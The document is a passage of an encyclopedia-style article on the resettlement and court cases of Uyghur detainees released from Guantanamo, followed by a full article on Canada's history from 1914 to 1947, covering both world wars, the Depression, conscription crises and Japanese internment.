According to the Globe, Tohti claimed there had been a positive consensus to admit Anvar, and two men whose lawyers haven't authorized their names to be released.
According to the Canwest News Service, Kenney is considering issuing special ministerial permits for the three Uyghurs.
According to Reuters, Alyshan Velshi, from Kenney's office, disputed whether Canada was close to accepting any Uyghurs.
The other fourteen Uyghurs hadn't yet satisfied an obligation Canada expects of refugee claimants—that they establish their identity.
The Don Valley Refugee Resettlement Organization is sponsoring Hassan Anvar's refugee claim.
The archdiocese of Montreal is sponsoring the other two men. Their sponsors will support the men with housing and clothing, if they are admitted.
Role of American Uyghurs
An article published by the Associated Press on October 10, 2008, quoted Elshat Hassan and Nury Turkel, two leaders of the Uyghur American Association, about plans for American-Uyghurs to help the Uyghur detainees acclimatize, once they have been admitted to the USA. Court records included a detailed plan by the UAA to assist Uyghur detainees in resettling in the United States.
Asylum in Munich
In February 2009, the Munich city council passed a motion to invite the remaining seventeen Uyghurs to settle in Munich, home to the largest community of Uyghurs outside of China.
Temporary asylum in Palau
In June 2009, Palauan President Johnson Toribiong agreed to "temporarily resettle" up to seventeen of the Uyghur detainees, at the United States' request.
On September 10, 2009, The Times reported that three of the Uyghurs, Dawut Abdurehim and Anwar Assan, and another man whose identity has not been made public, have accepted the invitation to be transferred to asylum in Palau.
On September 19, 2009, Fox News reported that in the week since the first announcement three further Uyghurs agreed to be transferred to Palau.
Fox reported that five of the other Uyghurs had refused to speak with Palau officials.
On October 31, 2009, Ahmad Tourson, Abdul Ghappar Abdul Rahman, Edham Mamet, Anwar Hassan, Dawut Abdurehim and Adel Noori were reported to have been transferred to Palau.
On June 29, 2015, Nathan Vanderklippe, reporting in The Globe and Mail, wrote that all the Uyghurs had quietly left Palau.
The Globe confirmed that Palau's agreement to give refuge to the Uyghurs was reached after the USA agreed to various secret payments. Those payments included $93,333 to cover each Uyghurs living expenses. The Globe confirmed that controversy still surrounded former President Johnson Toribiong who had used some of those funds to billet the Uyghurs in houses belonging to his relatives.
Vanderklippe reported that the men had never felt they could fit in with the Palauans.
Some of the men compared Palau with a lusher, larger Guantanamo. Some of the men were able to bring their wives to Palau. Attempts to hold most regular jobs failed, due to cultural differences. Attempts to use their traditional leather-working skills to be self-employed failed. Eventually, all six men were employed as night-time security guards, a job that did not require interaction with Palauans.
Tragically, one of the men's young toddler, conceived and born on Palau, died after he fell off a balcony.
According to Vanderklippe, the men's departure from Palau was quietly arranged with cooperation with American officials. He reported they left, one or two at a time, on commercial flights. Palauan officials would not share the Uyghurs destination.
In September 2018, some Indian newspapers reported that a suspected militant had been radicalized when he lived in Palau. The Australian Broadcasting Corporation considered the credibility of this claim, noting that the Indian man's five years in Palau overlapped with the Uyghurs.
Bermuda
On June 11, 2009, Abdul Helil Mamut, Huzaifa Parhat, Emam Abdulahat and Jalal Jalaladin arrived in the British overseas territory of Bermuda.
The cost of the relocation will be borne by the United States, while the government of Bermuda would arrange documentation, residence and housing.
According to their lawyers, the four men will be "guest workers" in Bermuda; according to Premier of Bermuda Ewart Brown, they will be given the opportunity to become naturalised "citizens" — currently impossible under Bermudian law, and a right which many residents, locally born and raised, do not have — with the ability to eventually travel freely.
The decision was made without the knowledge of Richard Gozney, the Governor of Bermuda, responsible for foreign affairs and security matters, who only found out after their arrival.
Brown's promise of "citizenship" was apparently made without the knowledge of the British government, whose citizenship is being offered. The offer of asylum was strongly criticised both within Bermuda and by the UK. This was not the first time that Bermuda hosted refugees; during the 1970s, five people from Vietnam were allowed into the country; only one remains there, following the emigration of three others and the death of the fifth. The following day, the Opposition United Bermuda Party moved for a motion of no confidence against Brown, while the British government declared its intentions to review its legal relationship with the territory.
On September 29, 2011, the Antigua Observer quoted Henry Bellingham the United Kingdom's Overseas Territories Minister on the UK's expectation that the US would find a permanent home for the four Uyghurs in another country.
This is something that we weren't consulted on by the last (Brown) administration. We have spoken to the United States about it — it's our understanding that the arrangement was not to be permanent and we're looking to the US State Department to find a permanent solution. We're working with them to try and achieve that.
El Salvador
On April 19, 2012, the Associated Press reported that Abdul Razakah and Hammad Memet had been transferred to El Salvador.
Ben Fox, writing for the Associated Press wrote that the men had already begun to learn Spanish.
El Salvador officials said the men had been given refuge because many El Salvador citizens had been allowed refuge in other countries when their country was hit by civil war.
In September 2013, El Salvador reported that both men quietly slipped out of El Salvador, and that their destination was unknown but presumed to be Turkey.
Slovakia
On December 27, 2013, it was announced that the Government of Slovakia would give asylum to the three remaining Uyghurs.
When making the announcement the Government of Slovakia said that the three men had "never been suspected of nor charged with a criminal act of terrorism". A long-standing sticking point in getting third countries to accept former captives is that US negotiators wanted those countries to agree to impose draconian and expensive security measures on the former captives.
Carol Rosenberg, of the Miami Herald, the journalist who has provided the most extensive coverage of the Guantanamo camp, described the announcement, following the releases of three other groups of men, earlier in December, marked a "significant milestone".
Rosenberg reported that the US military had transferred Yusef Abbas, Hajiakbar Abdulghuper and Saidullah Khalik, to Slovakia on December 30, 2013, in a "secret operation".
Rosenberg quoted from a press release US District Court Judge Ricardo Urbina had prepared to be made public after the last Uyghur was transferred, where he expressed his dissatisfaction with the Obama administration for not honoring his original release order.
Supreme Court's ruling in Boumediene v. Bush
On June 12, 2008, the United States Supreme Court ruled on Boumediene v. Bush.
Its ruling overturned aspects of the Detainee Treatment Act and Military Commissions Act, allowing Guantanamo captives to access the US justice system for habeas petitions.
Parhat v. Gates
On Monday, June 23, 2008, it was announced that a three judge Federal court of appeal had ruled, in Parhat v. Gates, on Friday, June 20, 2008, that the determination of Hozaifa Parhat's Combatant Status Review Tribunal was "invalid".
Motions following Boumediene v. Bush
On July 7, 2008, a petition was filed on behalf of the seventeen Uyghurs.
On August 5, 2008, the United States Department of Justice opposed Parhat being released in the US, and to having a judgment made on his habeas petition.
The Government's opposition filing was 22 pages long.
Petition to be moved from solitary confinement
In early August 2008, US District Court Judge Ricardo M. Urbina declined to rule in favor of transferring six of the Uyghurs from Camp 6 where captives are held in solitary confinement to Camp 4 where they live in communal barracks with fellow captives.
Urbina's nine-page memorandum opinion addressed the needs of Hammad Memet, Khalid Ali, Edham Mamet, Bahtiyar Mahnut, Arkin Mahmud, Adel Noori.
{| class="wikitable" border="1"
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What is clear is that no court has ever ruled that detainees, designated as enemy combatants, have a right to challenge the conditions of their confinement pursuant to the constitutional writ of habeas corpus. Furthermore, courts are reluctant to second-guess day-to-day operations of domestic prison facilities, especially when doing so intrudes upon the military and national security affairs. This deference combined with the paucity of evidence of irreparable injury and the petitioners' failure to articulate a specific constitutional right and standard from which to analyze the facts of this case presses the court to deny the petitioners' motion for a TRO and a preliminary injunction.
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No longer classed as "enemy combatants"
On September 30, 2008, Gregory Katsas, Assistant Attorney General filed a "notice of status" for the remaining Uyghur captives—stating that they would no longer be classed as "enemy combatants".
According to The AM Law Daily the Department of Justice was scheduled to appear before Ricardo M Urbina on October 7, 2008, to defend classifying the men as enemy combatants.
Although they were no longer considered "enemy combatants" camp authorities continued to hold six of the men in solitary confinement.
On Tuesday October 7, 2008, US District Court Judge Ricardo Urbina ruled that the Uyghurs had to be brought to the US to appear in his court in Washington DC on Friday, 10 October 2008.
The United States Department of Justice filed an emergency motion to stay the Uyghurs' admission to the US.
On October 8, 2008, a three judge appeal panel granted the emergency motion to stay the Uyghur's transfer. The judges stay was to enable the appeals court to consider the merits of the parties' arguments. The parties to file briefs by October 16, 2008.
On October 16, 2008, Clint Williamson, the State Department official responsible for negotiating a new home for the captives, complained that the Justice Department's description of the Uyghurs had undermined his efforts.
Williamson is the State Department's ambassador-at-large for war crimes issues.
The New York Times quoted Williamson's comment about cancelling his overseas trips following the Department of Justice claims:
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I was scheduled to depart on another round of negotiations early this week. It was impossible to resolve some concerns we had about going forward at the time. As a result I canceled the trip.
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Supreme Court ruling on whether the judiciary can force captives to be released in the United States
On October 20, 2009, the United States Supreme Court announced it would hear an appeal filed on behalf of the Uyghurs, as to whether Justice Leon had the authority to order the Uyghurs to be released in the United States.
A panel of appeal court judges had overruled Leon.
The appeal was filed on behalf of Hazaifa Parhat and seven other of the Uyghur captives. But the court's ruling would apply to all the Uyghurs, and would affect the appeals of other captives whose habeas hearings have overturned their CSR Tribunals. On March 1, 2010 the Supreme Court ruled in a per curiam decision that no court had yet ruled on this case in light of the offers of resettlement. Therefore, the Supreme Court declined to rule on the question of whether a federal court has the right to release the prisoners held at Guantanamo Bay, as "[The Supreme Court is] a court of review, not of first view."
Turkistan Islamic Party reaction
The Turkistan Islamic Party in the 2nd issue of its magazine "Islamic Turkistan" discussed the situation of Uyghur Turkistan Islamic Party members in Guantanamo Bay which was getting media attention.
The Uyghur detainees
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Radio Free Asia named the five released Uyghurs, but the report identified the Uyghurs with different transliterations than that used in the U.S. press release: Ababehir Qasim, Adil Abdulhakim, Ayuphaji Mahomet, Ahter and Ahmet.
See also
East Turkestan
References
External links
Arkley denies Uighurs here permanently June 13, 2011
Palau urges Australia to allow permanent resettlement for six Uighurs Radio Australia June 3, 2010
Uighurs demand release on US soil Bangkok Post April 7, 2010
Guantanamo Uighurs start new life in Palau BBC Newsnight January 14, 2010
Australia urged to accept Uighurs The National January 5, 2010
Life after Guantanamo - Video
Uighur inmate in Guantanamo plea, March 20, 2008, BBC
Uighurs: U.S. Let Chinese Abuse Us At Gitmo by Ryan Grim, The Huffington Post, June 16, 2009
Human Rights First; Habeas Works: Federal Courts’ Proven Capacity to Handle Guantánamo Cases (2010)
When China Convinced the U.S. That Uighurs Were Waging Jihad
Uyghurs
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https://en.wikipedia.org/wiki/Canada%20in%20the%20World%20Wars%20and%20Interwar%20Years
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Canada in the World Wars and Interwar Years
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During the World Wars and Interwar Years, 1914–1947, Canada experienced economic gain, more freedom for women, and new technological advancements. There were severe political tensions over issues of war and ethnicity, and heavy military casualties. The Great Depression hit Canada hard, especially in export-oriented mining and farming communities, and in urban factory districts.
World War I
The July Crisis was a series of interrelated diplomatic and military escalations among the major powers of Europe in the summer of 1914, which led to the unexpected outbreak of World War I (1914–1918). At the time, Canadians were more concerned with events within their own country than European affairs. The summer of 1914 brought a second year of drought turning wheat fields into parched deserts while the two new transcontinental railways the Grand Trunk Pacific and the Canadian Northern fell further into debt, sending the thousands of men who had helped build them into unemployment. Canada was facing its worst depression since the 1890s. Canadians hoped the Great Powers of Europe could keep the peace as they had done many times before in earlier disputes of the century. Besides, so far Britain had no reason to join in the squabble forming on the main continent, leaving no obligation for Canada to join if war did break out between Russia and France on one side and Germany and Austria-Hungary on the other. News of war did not make a stir in Canada until Germany invaded neutral Belgium, and the British delivered an ultimatum to withdraw from Belgium by August 4 or Britain would be at a state of war with Germany.
On July 29, 1914, Britain warned its colonies to take precautions in case of war. Most recent wars had begun with surprise attacks such as the Russo-Japanese War. Soldiers and Canada's few sailors manned Halifax fortifications and brought guns to command the St. Lawrence river. In Victoria, British Columbia Premier Richard McBride signed a cheque for $1,150,000 and bought two submarines from a Seattle shipyard, so at least British Columbia's coast was not completely defenceless. On August 2 armed militia mounted guard on bridges, canals, tunnels and railway stations in preparation. In Ottawa, the Minister of Militia, Sam Hughes, had dreamed for years of leading Canadians to war and had for a long time preached and prepared for war with Germany and now had only to wait on London to make the first move, much to his irritation, but was persuaded by the quartermaster general Major-General Donald Alexander Macdonald to be patient. On August 4, 8:55 P.M., Canada got the news and Hughes was ecstatic: Britain was at war with Germany.
Canada was then automatically at war, as she did not yet have control over her foreign policy — not that there were many dissenters. The war was initially popular even among French Canadians, including Henri Bourassa, who historically looked afoul at the British Empire. Liberal leader Wilfrid Laurier created a 'party truce' for as long as Canada was in danger and had those dissenters in the liberal caucus hold their tongues. When asked what Canada 'must do' by the press, Laurier responded "When the call comes, our answer goes at once, and it goes in the classical language of the British answer to the call of duty, 'Ready, aye, ready!'" Prime Minister Robert Borden called a meeting of Parliament on August 18, and without division or significant debate, MPs approved an overseas contingent of 25,000 men with Canada bearing the full cost: a war appropriation of $50 million and a Canadian Patriotic Fund to support the families of men who would fight in Europe. The Cabinet spent many hours trying to devise adequate emergency legislation, resulting in the War Measures Act, decreeing the Cabinet would have the authority to do whatever it deemed necessary for the security, defence, peace, order and welfare of Canada.
In no way was Canada prepared for this scale of war. Its economy could not support it for more than a few months before being hit hard by its cost, as was with other participants. No one expected it to last longer than a few months though, many claiming it would be over by Christmas. Mass recruiting for the war effort began on August 6 with hundreds of telegrams notifying Militia colonel to begin recruiting men between the ages of 18 and 45. Hordes of British immigrants and the unemployed answered the call. Ontario, hard hit by the depression, accounted for third of the recruits, while two thirds of the recruits were British born. Few recruits came from the Maritimes and just over 1,000 were French. The cities of Toronto, Winnipeg and Montreal sent enough men each for two battalions. By September 4 there were 32,000 men and 8,000 horses in camp, far more than had been expected. There was an immediate demand for equipment, uniforms and weapons. The Ross Rifle Company worked overtime as did the textile mills and clothing factories. With a force of 32,000 equipped and ready, it soon became apparent that Embarkation from the docks would be a nightmare. Extra ships had to be chartered to carry the additional men. Battalions were marched on to ships only to be marched back off when they didn't fit. Units ignored orders and schedules and crowded the docks not wishing to wait. When it was all done, the last of 30 ships had cleared the harbour, leaving 863 horses, 4,512 tons of baggage, vehicles and ammunition behind, for which another ship had to be called in to pick up.
The first Canadian casualties of the war occurred before these troops arrived in Europe. Christopher Cradock's squadron was sunk at the Battle of Coronel off the coast of Chile, claiming four midshipmen who became Canada's first war dead. By the time that the First Contingent reached England on October 14 it became apparent the war would not be over by Christmas. Germany's initial rapid successes in Belgium and France had come to halt and both sides were starting to dig into their positions.
Canadians fought at Ypres, the Somme, Passchendaele, and other important battles, originally under British command, but eventually under a unified Canadian command. From a Canadian point of view the most important battle of the war was the Battle of Vimy Ridge in 1917, during which Canadian troops captured a fortified German hill that had eluded both the British and French. Vimy, as well as the success of the Canadian flying ace Billy Bishop, helped give Canada a new sense of identity.
With mounting costs at home, Minister of Finance Thomas White introduced the first income tax in Canada as a "temporary" measure. The lowest bracket was 4% and highest was 25%.
The 620,000 men in service were most remembered for combat in the trenches of the Western Front; there were 67,000 war dead and 173,000 wounded. This total does not include the 2,000 deaths and 9,000 injuries in December 1917 when a munitions ship exploded in Halifax.
The conscription crisis of 1917
After three years of a war that was supposed to have been over in three months, Canada was suffering from a shortage of volunteers. Prime Minister Robert Borden had originally promised not to introduce conscription, but now believed it was necessary to win the war. The Military Service Act was passed in July, but there was fierce opposition, mostly from French Canadians (led not only by Bourassa, but also by Wilfrid Laurier), as well as Quakers, Mennonites, and other pacifists. Borden's government almost collapsed, but he was able to form a Union government with the Liberal opposition (although Laurier did not join the new government). In the 1917 election, the Union government was re-elected, but with no support from Quebec. Over the next year, the war finally ended, with very few Canadian conscripts actually participating.
Halifax Explosion
Halifax, Nova Scotia, was the main staging point for convoys making trans-Atlantic crossings. On December 6, 1917, a Belgian relief ship collided with the , a French munitions ship in Halifax harbour. The crash set the Mont-Blanc on fire; its holds were full of benzol, picric acid, and TNT. Twenty minutes later it exploded with a force stronger than any man-made explosion before it, destroying most of Halifax and the surrounding towns. Out of a population of 50,000, 1600 people were killed and over 9,000 injured; hundreds were blinded by flying glass. The city was evacuated and dropped out of the war effort, focusing primarily on economic survival.
Post-war society
During the war, the woman's suffrage movement gained support. The provinces began extending voting rights to women in 1916, and women were finally allowed to vote in federal elections in 1918. Canada was also faced with the return of thousands of soldiers, with few jobs waiting for them at home. They also brought back with them the Spanish flu, which killed over 50,000 people by 1919, almost the same number that had been killed in the war.
Labour conflicts
The move from a wartime to a peacetime economy, combined with the unwillingness of returned soldiers to accept pre-war working conditions, led to another crisis. In 1919, the One Big Union was formed by trade union syndicalists with the intent of improving conditions for all workers, not just in a single workplace, industry, or sector. The OBU had some influence on the Winnipeg General Strike of 1919, which business and political leaders saw as an outbreak of Bolshevism, especially since the Soviet Union had recently been formed. The army was sent in to break the strike and the entire Winnipeg police force was fired and replaced with a much larger and better paid force of armed special constables. Although the Winnipeg strike is the best known, it was part of a larger strike wave that swept the country. Special constables, vigilante "citizens" organizations, and replacement workers were mobilized in strikebreaking throughout the country in this period.
Politics
Meanwhile, in western Canada, and to some extent in the Maritimes, populist reformers were pushing for increased provincial rights and a focus on agriculture, rather than the industrial focus of Central Canada. They formed the Progressive Party of Canada, which supported Mackenzie King when the Liberals had a minority government in 1925–26. King eventually lost support, however, because of the trade tariffs issue, as well as a liquor smuggling scandal. When his request that parliament be dissolved was rejected by the Governor General of Canada (see King-Byng Affair), he was forced to resign in 1926, but was re-appointed after his party won the election later that year, after which, at an Imperial Conference, King advocated the redefining of the role of the Governor General and the gain of increased independence for Canada in the Balfour Declaration of 1926.
Radio
The history of broadcasting in Canada begins in the early 1920s, as Canadians were swept up in the radio craze and built crystal sets to listen to American stations. Main themes in the history include the development of the engineering technology; the construction of stations across the country and the building of networks; the widespread purchase and use of radio and television sets by the general public; debates regarding state versus private ownership of stations; financing of the broadcasts media through the government, licence fees, and advertising; the changing content of the programming; the impact of the programming on Canadian identity; the media's influence on shaping audience responses to music, sports and politics; the role of the Québec government; Francophone versus Anglophone cultural tastes; the role of other ethnic groups and First Nations; and fears of American cultural imperialism via the airwaves. In the late 20th century, Radio was largely overwhelmed by television, but still maintained a niche. In the 21st century, the central question is the impact of the Internet and smartphones on traditional broadcasting media.
Most Canadian-owned stations had weak signals compared with American stations. In the 1930s there were 60 Canadian stations but 40% of Canadians could only tune in American stations. Many stations simply rebroadcast American radio shows. Little funding was available for Canadian content. The most notable exceptions were religious radio shows, such as "Back to the Bible Hour," produced by Alberta's premier, William Aberhart, and the increasingly popularity of broadcast hockey games.
Pressure from Graham Spry and the Canadian Radio League encouraged Mackenzie King to request a Royal Commission on Radio Broadcasting. Its report called for a national radio network to encourage national sentiment. In 1932, the government of R.B. Bennett established the Canadian Radio Broadcasting Commission, transformed into the Canadian Broadcasting Corporation in 1936. CBC set up a French language network in Quebec and adjacent Francophone areas. Although the French language service had little competition from American stations, it proved quite conservative in technology and programming. It was closely aligned with powerful newspaper and Church interests and became a propaganda forum for the traditional elites of Quebec. It did not promote separatism or a sense of Québec nationalism.
The Great Depression
Canada was hard hit by the worldwide Great Depression that began in 1929. Between 1929 and 1933, the gross national product dropped 40% (compared to 37% in the US). Unemployment reached 27% at the depth of the Depression in 1933. Many businesses closed, as corporate profits of $396 million in 1929 turned into losses of $98 million in 1933. Canadian exports shrank by 50% from 1929 to 1933. Construction all but stopped (down 82%, 1929–33), and wholesale prices dropped 30%. Wheat prices plunged from 78c per bushel (1928 crop) to 29c in 1932.
Worst hit were areas dependent on primary industries such as farming, mining and logging, as prices fell and there were few alternative jobs. Most families had moderate losses and little hardship, though they too became pessimistic and their debts become heavier as prices fell. Some families saw most or all of their assets disappear, and suffered severely.
While the decline started in the United States, it quickly spread to Canada. The first industry affected was wheat farming, which saw a collapse in prices. This impoverished the economies of the Prairie provinces, but as wheat was then Canada's largest export it also hurt the rest of the country. With the collapse of the construction industry, lumbering was even worse hit, as there were few alternative jobs in the lumbering region. This was soon followed by a deep recession in manufacturing, first caused by a drop-off in demand in the United States, and then by Canadians also not buying more than bare essentials. The auto industry that prospered so greatly in the 1920s was badly hit. Construction came to a halt. People who lost jobs because of layoffs and closures had a very hard time finding a new ones—especially older men and teenagers. Unemployment rose to 25 per cent.
Government reaction
In 1930 in the first stage of the long depression, Prime Minister Mackenzie King believed that the crisis was a temporary swing of the business cycle and that the economy would soon recover without government intervention. He refused to provide unemployment relief or federal aid to the provinces, saying that if Conservative provincial governments demanded federal dollars he would not give them "a five cent piece." His blunt wisecrack was used to defeat the Liberals in the 1930 election. The main issue was the rapid deterioration in the economy and whether the prime minister was out of touch with the hardships of ordinary people. The winner of the 1930 election was Richard Bedford Bennett and the Conservatives. Bennett, a successful Western businessman, campaigned on high tariffs and large scale spending, but as deficits increased he became wary and cut back severely on Federal spending. With falling support and the depression only getting worse Bennett attempted to introduce policies based on the New Deal of President Franklin D. Roosevelt (FDR) in the United States, but this was largely unsuccessful. The government became a focus of popular discontent, even though its policies were largely the same as those of other Western governments. Canadian car owners who could no longer afford gasoline reverted to having their vehicles pulled by horses and dubbed them Bennett Buggies. Bennett's perceived failures during the Great Depression led to the re-election of Mackenzie King's Liberals in the 1935 election.
Although the United States began to see rapid improvements as a result of FDR's policies, Canada saw far less growth. Nevertheless, by 1936 the worst of the Depression was over. Mackenzie King implemented some relief programs such as the National Housing Act and National Employment Commission, and also established the Canadian Broadcasting Corporation (1936) and Trans-Canada Airlines (1937, the precursor to Air Canada). However, it took until 1939 and the outbreak of war for the Canadian economy to return to 1929 levels.
New parties
The Progressive and United Farmers Parties had achieved some success in the 1920s, but during the 1930s, their members generally joined other parties, like the Social Credit movement and the Cooperative Commonwealth Federation.
In Alberta, a Christian radio broadcaster named William "Bible Bill" Aberhart became interested in politics partly because the Great Depression had been especially harsh on Albertan farmers. Particularly, he was drawn to the "social credit" theories of Major C. H. Douglas, a Scottish engineer. From 1932 to 1935, Aberhart lobbied for the governing political party, the United Farmers of Alberta, to adopt these theories. The basis of social credit is that the difference in production cost and individuals' purchasing power should be supplemented through government grants. When these efforts failed, Aberhart helped found the Social Credit Party of Alberta, which won the 1935 provincial election by a landslide with over 54% of the popular vote.
The Co-operative Commonwealth Federation (CCF) was founded in 1932 in Calgary, Alberta, by a number of socialist, farm, co-operative and labour groups, and the League for Social Reconstruction. The CCF aimed to alleviate the suffering of the Great Depression through economic reform and public "co-operation". Many of the party's first Members of Parliament (MPs) were former members of the Ginger Group of left-wing Progressive and Labour MPs. In its first election in 1935, seven CCF MPs were elected to the House of Commons of Canada. Eight were elected in the following election in 1940.
The period also saw the rise of the openly fascist National Unity Party (NUP) and the Communist Party of Canada, which was declared illegal under Section 98 of the Criminal Code from 1931 to 1936. The party continued to exist, but was under the constant threat of legal harassment, and was for all intents and purposes an underground organization until 1936. The party greatly contributed in the mobilization of volunteers to fight in the Spanish Civil War. The NUP and, again, the Communist Party were banned in 1940.
On to Ottawa Trek
The depression had crippled the economy and left one in nine Canadians on relief. Nor did relief come free; the Bennett government had asked the Canadian Department of National Defense to organize work camps where the labour of unemployed single men was used to construct roads and other public works with little remuneration. The poor working conditions in the camps led to serious unrest, including a major strike in Vancouver in April 1935. The strikers' demands included adequate first aid equipment in the camps, the extension of the Workmen's Compensation Act to include camp workers, and that workers in camps be granted the right to vote in Federal elections. Public support was enormous, and the action snowballed into a bigger movement when the men decided to take their grievances to the federal government. In June 1935, hundreds of men boarded boxcars headed East in what would come to be known as the "On to Ottawa Trek".
The protest was halted, however, before it could reach the capital. In Regina, the Royal Canadian Mounted Police (RCMP) confined the protesters in a local stadium. Only the eight leaders of the protest were actually allowed to proceed to Ottawa, where they were granted a meeting with Prime Minister R.B. Bennett. Bennett attacked the group as radicals, and eventually had the delegation hustled out of his office. Upon returning to Regina to unite with the rest of the protesters, they organized large public rallies, which broke out into riots when the Federal government deployed police to break up the rallies and arrest the leaders. Two people were killed as a result of the riot and many more injured. When the trek was over the government provided free transportation back to the camps. These camps were soon abolished following Bennett's electoral defeat, and new, less extensive, relief work schemes were devised on farms and in forestry camps in conjunction with provincial governments, and pay rates changed from twenty-cents a day to five dollars a month.
Canadian foreign policy in the Interwar Years
Canada played a limited role in world affairs before 1945, typically as a passive follower of British policies. From 1829 Canada was a founding member of the League of Nations and was granted full membership. But the Borden and King governments made it clear that "Canada lived 'in a fireproof house far from flammable materials' and felt no automatic obligation to the principle of collective security". Very much like the United States, after the great war Canada turned away from international politics. Instead, King focused his attention on good relations with the United States and on greater independence from Great Britain, moving into a position of near isolation. Thus, in 1922 King refused to support the British to enforce a peace settlement during the Chanak Crisis, when revolutionary Turkey attacked and drove out the Greeks in Asia Minor. At an Imperial Conference in 1923 it was agreed that no resolution was binding unless approved by each dominion parliament. Canada then for the first time signed a treaty (the 1923 Halibut Treaty with the US) without British participation, and it proceeded to establish its own embassy in Washington. Further steps to independence were the Balfour Declaration of 1926 and the Statute of Westminster in 1931.
Canadians were all the more preoccupied with domestic economic problems and chose to remain neutral throughout the 1930s. Japan's 1931 invasion of Manchuria raised little concern in Canada, as did Hitler's rise to power in 1933 or Italy's invasion of Ethiopia in 1935. The Canadian government declared its neutrality on the outbreak of the Spanish Civil War in 1936 where Francisco Franco lead a military uprising, supported with military hardware and tens of thousands of troops by Nazi Germany and Fascist Italy against the leftist Spanish government. Nevertheless, many Canadians volunteered to fight against Franco on behalf of the Spanish Republic in the International Brigades and couldn't be deterred by the Foreign Enlistment Act of 1937, outlawing participation by Canadians in foreign wars. Eventually, 1,546 Canadians participated, mainly in the Mackenzie-Papineau Battalion (also called "Mac-Paps") of which 721 were killed. Except for France, no other country gave as great a proportion of its population as volunteers in Spain than Canada.
Despite its expressed neutrality, in 1936, Canada began a modest program of rearmament and in 1937, King let Britain know that Canada would support the Empire in case of a war in Europe. He visited Germany in June 1937 and met with Adolf Hitler. Like many other political leaders of the time, King was seduced by Hitler's charm and rehearsed simplicity and he supported the policy of "appeasement" of Germany. King and other leaders remained quiet when Hitler annexed Austria in 1938 and Bohemia in 1939.
With the rise of anti-Semitism in Germany and the growing trickle of refugees arriving in the country, Canada began to actively restrict Jewish immigration by 1938. Frederick Charles Blair, the country's top immigration bureaucrat, raised the amount of money immigrants had to possess to come to Canada from $5,000 to $15,000. In addition, immigrants now had to prove they were farmers, which very few Jews coming from central Europe were. Senator Cairine Wilson was one of the country's leading voices against fascism and one of the few non-Jews lobbying for the refugees but she was unable to get Mackenzie King to intervene. For King himself shared the anti-Semitism of many Canadians; in his diary he wrote: "We must seek to keep this part of the continent free from unrest and from too great an intermixture of foreign strains of blood."
"Through government inaction and Blair's bureaucratic anti-Semitism, Canada emerged from the war with one of the worst records of Jewish refugee resettlement in the world. Between 1933 and 1939, Canada accepted only 4,000 of the 800,000 Jews who had escaped from Nazi-controlled Europe."
World War II
The Canadian economy, like the economies of many other countries, improved in an unexpected way with the outbreak of the Second World War. When Hitler invaded Poland on September 1, 1939, Mackenzie King was finally convinced that military action would be necessary, but advised George VI, King of Canada, to wait until September 10, after parliament had debated the matter, to declare war (unlike World War I, when Canada was automatically at war as soon as Britain was). Ultimately, more than one million Canadians served in armed forces.
Military accomplishments
One of Canada's major contributions to the war was the Commonwealth Air Training Plan, in which over 140,000 Allied pilots and air crews received training at bases in Canada. Canada is widely recognized for its key role in the Battle of the Atlantic. The first major land actions of the war, at Hong Kong and Dieppe, were unsuccessful. The bulk of Canadian land forces remained undeployed until the landings in Sicily and Italy in 1943. In 1944, Canadian forces successfully captured Juno Beach during the Battle of Normandy, and by the autumn, an entire field army under Canadian command was instrumental in liberating the Netherlands, for which many Dutch still fondly remember Canadians today.
Women
Women began to play a more significant part in war efforts, joining the armed forces for the first time (aside from nursing) by means of the Canadian Women's Army Corps, the Royal Canadian Air Force Women's Division, and the Royal Canadian Naval Women's Service (Wrens). Although women were still not allowed to enter combat, they performed a number of other roles in clerical, administrative, and communications divisions. A total of 45,423 women enlisted during the course of the war, and one in nine served overseas.
With over a million Canadians serving in the Armed Forces during the war, enormous new employment opportunities appeared for women in workplaces previously unknown to them. To encourage women to work in factories, machine shops, and other heavy industries, the Canadian government offered free child-care and tax breaks. Elsie MacGill, an aeronautical engineer who supervised the production of Hawker Hurricane aircraft for the Canada Car and Foundry Company became a celebrated war hero known as "Queen of the Hurricanes."
Aid to the United Kingdom
The Gander Air Base now known as Gander International Airport built in 1936 in the Dominion of Newfoundland was leased by the UK to Canada for 99 years because of its urgent need for the movement of fighter and bomber aircraft to the UK. Canada gave the United Kingdom gifts totalling $3.5 billion during the war; the UK used it to buy Canadian food and war supplies.
The conscription crisis of 1944
As in World War I, the number of volunteers began to run dry as the war dragged on. Mackenzie King had promised, like Borden, not to introduce conscription, though his position was somewhat ambiguous: as he declared to the House of Commons on June 10, 1942: "Not necessarily conscription but conscription if necessary."
With rising pressure from the people, on June 21, 1940, King passed the National Resources Mobilization Act (NRMA) which gave the government the power to "call out every man in Canada for military training for the defence of Canada", and only Canada. Conscripts could not be sent overseas to fight. English Canadians, expectedly, were displeased and took to calling these soldiers "zombies" who they stereotyped as French Canadians who were "sitting comfortably" while their countrymen died.
On April 27, 1942, Mackenzie King held a national plebiscite to decide on the issue, having made campaign promises to avoid conscription (and, it is thought, winning the election on that very point). The majority of English Canadians voted in favour of the conscription, while the majority of French Canadians did not. Nevertheless, the final result was a yes, which granted King the permission to bring in a conscription law if he wanted. However, the issue was put off for another two years, until November 1944 when King decided on a levy of NRMA troops for overseas service. There were riots in Quebec and a mutiny by conscripts based in Terrace, British Columbia. An aged Henri Bourassa also spoke out against the decision.
Some 13,000 NRMA men eventually left Canada, but only 2,463 reached units in the field before the end of the fighting. 69 died in battle.
Japanese internment
When Canada declared war on Japan in December 1941, members of the non-Japanese population of British Columbia, including municipal government offices, local newspapers and businesses called for the internment of the Japanese. In British Columbia, some claimed that Japanese residents who worked in the fishing industry were charting the coastline for the Japanese navy, and many of their boats were confiscated. The pressure from the public was so great that early in 1942 the government gave in to the pressure and began the internment of both Japanese nationals and Japanese Canadian citizens. Most of the nearly 22,000 people of Japanese descent who lived in Canada were naturalized or native-born citizens. Those unwilling to live in internment camps faced the possibility of deportation to Japan.
Unlike Japanese American internment, where families were generally kept together, Canada initially sent its male evacuees to road camps in the British Columbian interior, to sugar beet projects on the Prairies, or to internment in a POW camp in Ontario, while women and children were moved to six inland British Columbia towns. There, the living conditions were so poor that the citizens of wartime Japan even sent supplemental food shipments through the Red Cross. During the period of detention, the Canadian government spent one-third the per capita amount expended by the U.S. on Japanese American evacuees.
See also
History of Canadian foreign policy
Heritage Minutes
History of Canada
History of the Canadian Army
Military history of Canada
References
Bibliography
Allen, Ralph. Ordeal by Fire: Canada, 1910–1945 (1961), 492pp; popular history
Bothwell, Robert, Ian Drummond, and John English. Canada 1900-1945. University of Toronto Press, 1987, textbook
